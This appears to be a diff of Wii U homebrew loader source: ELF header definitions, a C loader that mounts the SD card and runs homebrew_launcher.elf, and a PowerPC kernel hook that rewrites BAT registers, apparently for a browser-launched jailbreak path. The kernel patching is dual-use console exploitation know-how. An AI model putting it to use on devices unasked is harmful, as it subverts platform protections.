#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
#define SHF_GROUP 0x200 /* Member of section group */
#define SHF_TLS 0x400 /* Thread local storage */
#define SHF_MASKOS 0x0ff00000 /* OS specific */
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific section attributes */
/* Section Group Flags */
#define GRP_COMDAT 0x1 /* COMDAT group */
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
/* Symbol Table Entry */
typedef struct elf32_sym {
Elf32_Word st_name; /* name - index into string table */
Elf32_Addr st_value; /* symbol value */
Elf32_Word st_size; /* symbol size */
unsigned char st_info; /* type and binding */
unsigned char st_other; /* 0 - no defined meaning */
Elf32_Half st_shndx; /* section header index */
} Elf32_Sym;
/* Symbol table index */
#define STN_UNDEF 0 /* undefined */
/* Extract symbol info - st_info */
#define ELF32_ST_BIND(x) ((x) >> 4)
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
/* Symbol Binding - ELF32_ST_BIND - st_info */
#define STB_LOCAL 0 /* Local symbol */
#define STB_GLOBAL 1 /* Global symbol */
#define STB_WEAK 2 /* like global - lower precedence */
#define STB_NUM 3 /* number of symbol bindings */
#define STB_LOOS 10 /* reserved range for operating */
#define STB_HIOS 12 /* system specific symbol bindings */
#define STB_LOPROC 13 /* reserved range for processor */
#define STB_HIPROC 15 /* specific symbol bindings */
/* Symbol type - ELF32_ST_TYPE - st_info */
#define STT_NOTYPE 0 /* not specified */
#define STT_OBJECT 1 /* data object */
#define STT_FUNC 2 /* function */
#define STT_SECTION 3 /* section */
#define STT_FILE 4 /* file */
#define STT_NUM 5 /* number of symbol types */
#define STT_TLS 6 /* Thread local storage symbol */
#define STT_LOOS 10 /* reserved range for operating */
#define STT_HIOS 12 /* system specific symbol types */
#define STT_LOPROC 13 /* reserved range for processor */
#define STT_HIPROC 15 /* specific symbol types */
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
#define STV_DEFAULT 0 /* Normal visibility rules */
#define STV_INTERNAL 1 /* Processor specific hidden class */
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
#define STV_PROTECTED 3 /* Not preemptible, not exported */
/* Relocation entry with implicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
} Elf32_Rel;
/* Relocation entry with explicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
Elf32_Sword r_addend;
} Elf32_Rela;
/* Extract relocation info - r_info */
#define ELF32_R_SYM(i) ((i) >> 8)
#define ELF32_R_TYPE(i) ((unsigned char) (i))
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
/* Program Header */
typedef struct {
Elf32_Word p_type; /* segment type */
Elf32_Off p_offset; /* segment offset */
Elf32_Addr p_vaddr; /* virtual address of segment */
Elf32_Addr p_paddr; /* physical address - ignored? */
Elf32_Word p_filesz; /* number of bytes in file for seg. */
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
Elf32_Word p_flags; /* flags */
Elf32_Word p_align; /* memory alignment */
} Elf32_Phdr;
/* Segment types - p_type */
#define PT_NULL 0 /* unused */
#define PT_LOAD 1 /* loadable segment */
#define PT_DYNAMIC 2 /* dynamic linking section */
#define PT_INTERP 3 /* the RTLD */
#define PT_NOTE 4 /* auxiliary information */
#define PT_SHLIB 5 /* reserved - purpose undefined */
#define PT_PHDR 6 /* program header */
#define PT_TLS 7 /* Thread local storage template */
#define PT_NUM 8 /* Number of segment types */
#define PT_LOOS 0x60000000 /* reserved range for operating */
#define PT_HIOS 0x6fffffff /* system specific segment types */
#define PT_LOPROC 0x70000000 /* reserved range for processor */
#define PT_HIPROC 0x7fffffff /* specific segment types */
/* Segment flags - p_flags */
#define PF_X 0x1 /* Executable */
#define PF_W 0x2 /* Writable */
#define PF_R 0x4 /* Readable */
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific segment flags */
/* Dynamic structure */
typedef struct
{
Elf32_Sword d_tag; /* controls meaning of d_val */
union
{
Elf32_Word d_val; /* Multiple meanings - see d_tag */
Elf32_Addr d_ptr; /* program virtual address */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];
/* Dynamic Array Tags - d_tag */
#define DT_NULL 0 /* marks end of _DYNAMIC array */
#define DT_NEEDED 1 /* string table offset of needed lib */
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
#define DT_PLTGOT 3 /* address PLT/GOT */
#define DT_HASH 4 /* address of symbol hash table */
#define DT_STRTAB 5 /* address of string table */
#define DT_SYMTAB 6 /* address of symbol table */
#define DT_RELA 7 /* address of relocation table */
#define DT_RELASZ 8 /* size of relocation table */
#define DT_RELAENT 9 /* size of relocation entry */
#define DT_STRSZ 10 /* size of string table */
#define DT_SYMENT 11 /* size of symbol table entry */
#define DT_INIT 12 /* address of initialization func. */
#define DT_FINI 13 /* address of termination function */
#define DT_SONAME 14 /* string table offset of shared obj */
#define DT_RPATH 15 /* string table offset of library
search path */
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
#define DT_REL 17 /* address of rel. tbl. w addends */
#define DT_RELSZ 18 /* size of DT_REL relocation table */
#define DT_RELENT 19 /* size of DT_REL relocation entry */
#define DT_PLTREL 20 /* PLT referenced relocation entry */
#define DT_DEBUG 21 /* bugger */
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_NUM 34 /* Number used. */
#define DT_LOOS 0x60000000 /* reserved range for OS */
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
#define DT_LOPROC 0x70000000 /* reserved range for processor */
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
/* Dynamic Tag Flags - d_un.d_val */
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
#define DF_TEXTREL 0x04 /* Object contains text relocations */
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
/* Standard ELF hashing function */
unsigned long elf_hash(const unsigned char *name);
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
/*
* XXX - PowerPC defines really don't belong in here,
* but we'll put them in for simplicity.
*/
/* Values for Elf32/64_Ehdr.e_flags. */
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
/* Cygnus local bits below */
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
flag */
/* PowerPC relocations defined by the ABIs */
#define R_PPC_NONE 0
#define R_PPC_ADDR32 1 /* 32bit absolute address */
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
#define R_PPC_ADDR16 3 /* 16bit absolute address */
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
#define R_PPC_ADDR14_BRTAKEN 8
#define R_PPC_ADDR14_BRNTAKEN 9
#define R_PPC_REL24 10 /* PC relative 26 bit */
#define R_PPC_REL14 11 /* PC relative 16 bit */
#define R_PPC_REL14_BRTAKEN 12
#define R_PPC_REL14_BRNTAKEN 13
#define R_PPC_GOT16 14
#define R_PPC_GOT16_LO 15
#define R_PPC_GOT16_HI 16
#define R_PPC_GOT16_HA 17
#define R_PPC_PLTREL24 18
#define R_PPC_COPY 19
#define R_PPC_GLOB_DAT 20
#define R_PPC_JMP_SLOT 21
#define R_PPC_RELATIVE 22
#define R_PPC_LOCAL24PC 23
#define R_PPC_UADDR32 24
#define R_PPC_UADDR16 25
#define R_PPC_REL32 26
#define R_PPC_PLT32 27
#define R_PPC_PLTREL32 28
#define R_PPC_PLT16_LO 29
#define R_PPC_PLT16_HI 30
#define R_PPC_PLT16_HA 31
#define R_PPC_SDAREL16 32
#define R_PPC_SECTOFF 33
#define R_PPC_SECTOFF_LO 34
#define R_PPC_SECTOFF_HI 35
#define R_PPC_SECTOFF_HA 36
/* Keep this the last entry. */
#define R_PPC_NUM 37
/* The remaining relocs are from the Embedded ELF ABI, and are not
in the SVR4 ELF ABI. */
#define R_PPC_EMB_NADDR32 101
#define R_PPC_EMB_NADDR16 102
#define R_PPC_EMB_NADDR16_LO 103
#define R_PPC_EMB_NADDR16_HI 104
#define R_PPC_EMB_NADDR16_HA 105
#define R_PPC_EMB_SDAI16 106
#define R_PPC_EMB_SDA2I16 107
#define R_PPC_EMB_SDA2REL 108
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
#define R_PPC_EMB_MRKREF 110
#define R_PPC_EMB_RELSEC16 111
#define R_PPC_EMB_RELST_LO 112
#define R_PPC_EMB_RELST_HI 113
#define R_PPC_EMB_RELST_HA 114
#define R_PPC_EMB_BIT_FLD 115
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
/* Diab tool relocations. */
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
/* This is a phony reloc to handle any old fashioned TOC16 references
that may still be in object files. */
#define R_PPC_TOC16 255
#endif /* _ELF_H */

View File

@ -0,0 +1,304 @@
#include <gctypes.h>
#include "elf_abi.h"
#include "../../common.h"
#include "../../fs_defs.h"
#include "../../os_defs.h"
#define CODE_RW_BASE_OFFSET 0
#define DATA_RW_BASE_OFFSET 0
#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__);
#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func)
typedef struct _private_data_t
{
EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align);
EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr);
EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s);
EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s);
EXPORT_DECL(void, OSFatal, const char* msg);
EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length);
EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length);
EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...);
EXPORT_DECL(void, exit, void);
EXPORT_DECL(int, FSInit, void);
EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling);
EXPORT_DECL(int, FSDelClient, void *pClient);
EXPORT_DECL(void, FSInitCmdBlock, void *pCmd);
EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling);
EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling);
EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling);
EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling);
EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error);
EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling);
EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling);
EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv);
} private_data_t;
static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut)
{
int iFd = -1;
void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4);
if(!pClient)
return 0;
void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4);
if(!pCmd)
{
private_data->MEMFreeToDefaultHeap(pClient);
return 0;
}
int success = 0;
private_data->FSInit();
private_data->FSInitCmdBlock(pCmd);
private_data->FSAddClientEx(pClient, 0, -1);
do
{
char tempPath[FS_MOUNT_SOURCE_SIZE];
char mountPath[FS_MAX_MOUNTPATH_SIZE];
int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1);
if (status != 0) {
private_data->OSFatal("FSGetMountSource failed.");
break;
}
status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);
if(status != 0) {
private_data->OSFatal("SD mount failed.");
break;
}
status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1);
if(status != 0)
{
private_data->FSUnmount(pClient, pCmd, mountPath, -1);
break;
}
FSStat stat;
stat.size = 0;
void *pBuffer = NULL;
private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1);
if(stat.size > 0)
pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40);
if(!pBuffer)
private_data->OSFatal("Not enough memory for ELF file.");
unsigned int done = 0;
while(done < stat.size)
{
int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1);
if(readBytes <= 0) {
break;
}
done += readBytes;
}
if(done != stat.size)
{
private_data->MEMFreeToDefaultHeap(pBuffer);
}
else
{
*fileOut = (unsigned char*)pBuffer;
*sizeOut = stat.size;
success = 1;
}
private_data->FSCloseFile(pClient, pCmd, iFd, -1);
private_data->FSUnmount(pClient, pCmd, mountPath, -1);
}
while(0);
private_data->FSDelClient(pClient);
private_data->MEMFreeToDefaultHeap(pClient);
private_data->MEMFreeToDefaultHeap(pCmd);
return success;
}
static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart)
{
Elf32_Ehdr *ehdr;
Elf32_Phdr *phdrs;
unsigned char *image;
int i;
ehdr = (Elf32_Ehdr *) elfstart;
if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0)
return 0;
if(ehdr->e_phentsize != sizeof(Elf32_Phdr))
return 0;
phdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff);
for(i = 0; i < ehdr->e_phnum; i++)
{
if(phdrs[i].p_type != PT_LOAD)
continue;
if(phdrs[i].p_filesz > phdrs[i].p_memsz)
return 0;
if(!phdrs[i].p_filesz)
continue;
unsigned int p_paddr = phdrs[i].p_paddr;
// use correct offset address for executables and data access
if(phdrs[i].p_flags & PF_X)
p_paddr += CODE_RW_BASE_OFFSET;
else
p_paddr += DATA_RW_BASE_OFFSET;
image = (unsigned char *) (elfstart + phdrs[i].p_offset);
private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz);
private_data->DCFlushRange((void*)p_paddr, phdrs[i].p_filesz);
if(phdrs[i].p_flags & PF_X)
private_data->ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz);
}
//! clear BSS
Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff);
for(i = 0; i < ehdr->e_shnum; i++)
{
const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's')
{
private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);
private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
}
else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's')
{
private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);
private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
}
}
return ehdr->e_entry;
}
static void loadFunctionPointers(private_data_t * private_data)
{
unsigned int coreinit_handle;
EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle);
EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address);
OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire;
OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport;
OSDynLoad_Acquire("coreinit", &coreinit_handle);
unsigned int *functionPtr = 0;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr);
private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr);
private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr;
OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy);
OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset);
OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal);
OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", private_data->DCFlushRange);
OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", private_data->ICInvalidateRange);
OS_FIND_EXPORT(coreinit_handle, "__os_snprintf", private_data->__os_snprintf);
OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit);
OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit);
OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx);
OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient);
OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock);
OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource);
OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount);
OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount);
OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile);
OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile);
OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile);
OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile);
unsigned int sysapp_handle;
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle);
}
int _start(int argc, char **argv)
{
{
private_data_t private_data;
loadFunctionPointers(&private_data);
while(1)
{
if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0)
{
//! copy data to safe area before processing it
unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4);
if(pElfBuffer)
{
private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE);
MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);
private_data.MEMFreeToDefaultHeap(pElfBuffer);
}
ELF_DATA_ADDR = 0xDEADC0DE;
ELF_DATA_SIZE = 0;
}
if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0)
{
unsigned char *pElfBuffer = NULL;
unsigned int uiElfSize = 0;
LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf", &pElfBuffer, &uiElfSize);
if(!pElfBuffer)
{
private_data.OSFatal("Could not load file " WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf");
}
else
{
MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);
private_data.MEMFreeToDefaultHeap(pElfBuffer);
if(MAIN_ENTRY_ADDR == 0)
{
private_data.OSFatal("Failed to load ELF " WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf");
}
}
}
else
{
int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv);
//! exit to miimaker and restart application on re-enter of another application
if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD)
{
break;
}
//! exit to homebrew launcher in all other cases
else
{
MAIN_ENTRY_ADDR = 0xDEADC0DE;
private_data.SYSRelaunchTitle(0, 0);
private_data.exit();
break;
}
}
}
}
return ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv);
}

View File

@ -0,0 +1,29 @@
# This stuff may need a change in different kernel versions
# This is only needed when launched directly through browser and not SD card.
.section ".kernel_code"
.globl SaveAndResetDataBATs_And_SRs_hook
SaveAndResetDataBATs_And_SRs_hook:
# setup CTR to the position we need to return to
mflr r5
mtctr r5
# set link register to its original value
mtlr r7
# setup us a nice DBAT for our code data with same region as our code
mfspr r5, 560
mtspr 570, r5
mfspr r5, 561
mtspr 571, r5
# restore the original kernel instructions that we replaced
lwz r5, 0x34(r3)
lwz r6, 0x38(r3)
lwz r7, 0x3C(r3)
lwz r8, 0x40(r3)
lwz r9, 0x44(r3)
lwz r10, 0x48(r3)
lwz r11, 0x4C(r3)
lwz r3, 0x50(r3)
isync
mtsr 7, r5
# jump back to the position in kernel after our patch (from LR)
bctr

View File

@ -0,0 +1,22 @@
OUTPUT(sd_loader.elf);
ENTRY(_start);
SECTIONS {
. = 0x00800000;
.text : {
*(.kernel_code*);
*(.text*);
/* Tell linker to not garbage collect this section as it is not referenced anywhere */
KEEP(*(.kernel_code*));
}
.data : {
*(.rodata*);
*(.data*);
}
/DISCARD/ : {
*(*);
}
}
ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1000, "Memory overlapping with main elf.");

32
hbl_loader/structs.h Normal file
View File

@ -0,0 +1,32 @@
#ifndef STRUCTS_H
#define STRUCTS_H
typedef struct {
unsigned char *data;
int len;
int alloc_size;
void* (*memcpy)(void * dest, const void * src, int num);
} file_struct_t;
typedef struct {
unsigned char *data_elf;
unsigned int coreinit_handle;
/* function pointers */
void* (*memcpy)(void * dest, const void * src, int num);
void* (*memset)(void * dest, unsigned int value, unsigned int bytes);
void* (*OSEffectiveToPhysical)(const void*);
void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
void (*MEMFreeToDefaultHeap)(void *ptr);
void (*DCFlushRange)(const void *addr, unsigned int length);
void (*ICInvalidateRange)(const void *addr, unsigned int length);
void (*_Exit)(int);
void* (*curl_easy_init)(void);
void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op);
int (*curl_easy_perform)(void *handle);
void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op);
void (*curl_easy_cleanup)(void *handle);
} private_data_t;
#endif // STRUCTS_H

22
hbl_loader/types.h Normal file
View File

@ -0,0 +1,22 @@
#ifndef TYPES_H
#define TYPES_H
typedef unsigned long long uint64_t;
typedef long long int64_t;
typedef unsigned int uint32_t;
typedef int int32_t;
typedef unsigned short uint16_t;
typedef short int16_t;
typedef unsigned char uint8_t;
typedef char int8_t;
typedef uint32_t size_t;
typedef _Bool bool;
#define true 1
#define false 0
#define null 0
#define NULL (void*)0
#endif /* TYPES_H */